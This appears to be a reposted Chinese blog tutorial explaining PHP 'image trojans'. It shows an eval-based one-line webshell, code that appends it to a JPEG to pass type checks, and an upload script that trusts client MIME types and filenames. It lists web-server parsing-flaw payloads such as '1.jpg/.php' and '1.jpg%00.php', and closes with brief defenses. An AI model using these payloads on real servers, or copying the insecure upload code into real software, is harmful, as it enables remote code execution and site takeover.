zoukankan      html  css  js  c++  java
  • php图片木马实现原理

    什么是木马

    木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

    那,php的木马是长什么样的呢?我们来看下面这段代码:

    1
    2
    <?php
    @eval($_GET['tioncico']);

    这句话的意思是什么呢?只要在网页上获取到了$_GET['tioncico']的数据,就当成php代码直接执行,例如:

    http://test.cn/a/test.jpg/1.php?tioncico=echo%20tioncico;

    这个网页内容,我们忽略问号前面的数据,可看到tioncico=echo tioncico;%20是urlencode编码转换

    图片木马原理

    在本文中,讲到的是图片木马上传,那么该怎么制作图片木马呢?

    我们首先要讲到,php上传文件的原理:

    1:用户提交post请求,上传文件

    2:服务器接收请求,将文件存储到临时文件

    3:php解析该临时文件,获得文件类型,文件大小

    4:php通过判断文件类型,进行移动临时文件到上传目录

    5:php给前端返回上传成功,并返回地址

    在第3步,php是如果解析临时文件的呢?

    其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9  

    通过读取文件的字节并转为16进制,即可知道该文件类型是什么:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function fileToHex($file){
        if(file_exists($file)){
            $data file_get_contents($file);
            return bin2hex($data);
        }
        return '';
    }
     
    echo fileToHex('F:www esta1.jpg.txt');

    这个函数为简单实现,复杂需求需要自行查看:

    输出:

    仙士可博客

    仙士可博客

    很明显,这个图片格式为jpeg

    php在底层中已经实现了对图片格式的识别,所以无需我们额外实现,关于文件类型头部的定义,可查看:

    https://blog.csdn.net/LiuBuZhuDeFanHua/article/details/82949144

    那么问题来了,如果我没改变文件头,然后在最后新增一串php代码,php是怎么识别类型的呢?

    我们可以尝试下,在图片文件后面,额外写入一个php文件:

    1
    2
    3
    $path 'F:www esta1.jpg.txt';
     
    file_put_contents($path,file_get_contents('./a/1.php'),FILE_APPEND);//1.php是一个木马文件

    直接通过txt形式打开,可看到新增的数据

    仙士可博客

    将1.jpg图片直接打开,可发现文件没有损坏:

    仙士可博客

    通过上传文件,发现php识别的也是jpeg:

    仙士可博客'

    php解析木马原理

    大家看以下代码,忽略php实现的东西,只看结构:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Document</title>
    </head>
    <body>
    <form action="" enctype="multipart/form-data" method="post" name="uploadfile">上传文件:<input type="file" name="upfile"/><br/>
        <input type="submit" value="上传"/>
    </form>
    <?php
    if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){
     $upfile=$_FILES["upfile"];
     //获取数组里面的值
     $name=$upfile["name"];//上传文件的文件名
     $type=$upfile["type"];//上传文件的类型
     $size=$upfile["size"];//上传文件的大小
     $tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
     //判断是否为图片
     switch($type){
     case 'image/pjpeg':$okType=true;
     break;
     case 'image/jpeg':$okType=true;
     break;
     case 'image/gif':$okType=true;
     break;
     case 'image/png':$okType=true;
     break;
        }
     if($okType){
     /**
             *0:文件上传成功
     *1:超过了文件大小,在php.ini文件中设置
     *2:超过了文件的大小MAX_FILE_SIZE选项指定的值
     *3:文件只有部分被上传
     *4:没有文件被上传
     *5:上传文件大小为0
             */
     
     $error=$upfile["error"];
     echo "=======================<br/>";
     echo "上传文件名称是:".$name."<br/>";
     echo "上传文件类型是:".$type."<br/>";
     echo "上传文件大小是:".$size."<br/>";
     echo "上传后系统返回的值是:".$error."<br/>";
     echo "上传文件的临时存放路径是:".$tmp_name."<br/>";
     
     echo "开始移动上传文件<br/>";
     //判断up文件夹是否存在,不存在则创建
     $dir='up/';
     if(!is_dir($dir)){
     mkdir($dir);
            }
     //把上传的临时文件移动到up目录下面
     move_uploaded_file($tmp_name,'up/'.$name);
     $destination="up/".$name;
     echo "=======================<br/>";
     echo "上传信息:<br/>";
     if($error==0){
     echo "文件上传成功啦!";
     echo "<br/>图片预览<br/>";
     echo "<img src=".$destination;
     echo " alt="图片预览: 文件名:".$destination." 上传时间:">";
            }else if($error==1){
     echo "超过了文件的大小,在php.ini文件中设置";
            }else if($error==2){
     echo "超过了文件的大小MAX_FILE_SIZE选项中设置";
            }else if($error==3){
     echo "文件只有部分被上传";
            }else if($error==4){
     echo "文件没有被上传";
            }else{
     echo "上传文件大小为0";
            }
     
        }else{
     echo "请上传jpg,gif,png等格式的图片";
        }
    }
    ?>
    </body>

    这代码很平常,也就是php+html标签的混合型代码,php会解析<?php ?>标签,进行获取并执行php标签内的代码

    现在将这份代码换成图片+php标签:

    仙士可博客

    改后缀为php看看能不能执行成功:

    仙士可博客

    很明显,正常运行了,php将<?php标签外的字符当成了正常字符输出,只运行了php的部分.

    运行图片文件

    到现在,我们已经学会了如何给图片增加木马文件,并了解了图片木马的实现原理,那么,现在该如何在别人的网站执行这个木马呢?给图片改后缀?很明显我们办不到,那该怎么办呢?

    我们需要借助漏洞才能执行(这就意味着木马并不是万能的,可以入侵别人的全部网站)

    漏洞方法如下

    include 漏洞

    只要对方的php代码中存在 include xxxx ,这个xxxx可以传入外部参数的时候,

    例如有些开发者自己实现的框架中,include controller 这个controller 有做全路径引入的时候

    web服务器的pathinfo漏洞

    通过和php一起运行的web服务器存在的漏洞进行解析:下段内容参考:https://www.v2ex.com/amp/t/414740/2

    IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpg 
    IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.php 
    Nginx <8.03 空字节代码执行漏洞 1.jpg%00.php 
    Apache 解析漏洞 .php.一个无效后缀 
    还有就是 Windows 下的各种截断了,因为 win 环境下不允许一些符号命名文件,所以可以造成截断文件名的效果,

    例如本人使用phpstudy nginx/1.11.5+php7.2.10成功复现:

    仙士可博客

    讲解一下,我网站中存在a/test.jpg,通过访问test.cn/a/test.jpg/1.php 被nginx成功解析a/test.jpg,并且被php调度执行成功,通过get传的tioncico=echo%20%27仙士可牛逼!%27; 参数,在php中解析成功,输出了 仙士可牛逼!

    其他漏洞可以自测哦

    漏洞防范

    1:升级web服务器版本,尽量使用新版本

    2:图片最好是存入oss,或者图片上传目录注意不要给执行权限(web服务器执行图片目录的权限)

    3:图片可以的话,可以进行二次处理,把木马文件过滤掉

    4:永远不要相信用户的输入

    其他

    刚刚的eval函数木马文件,是不是觉得很简单,很容易识别?

    并且,eval函数,可能还是被php禁用的危险函数.那么我们可以用什么呢?

    各种木马写法,可以看 https://github.com/tioncico/webshell/tree/master/php

    另外提一嘴,既然是可以执行php文件了,完全可以在图片文件中,include 另一个图片文件,等等

     

  • 相关阅读:
    《javascript高级程序设计》第六章总结
    电子邮件写信页面开发代码
    JSON和XML的比较
    2014前端工程师基础课程作业
    cookie 和session 的区别详解
    substring()、slice()和substr()方法辨析
    Number()、parseInt()和parseFloat()辨析
    《javascript高级程序设计》第十三章知识点
    angular debounce 搜索去抖动/防抖
    js四舍五入保留两位小数的方法
  • 原文地址:https://www.cnblogs.com/myJuly/p/12973832.html
Copyright © 2011-2022 走看看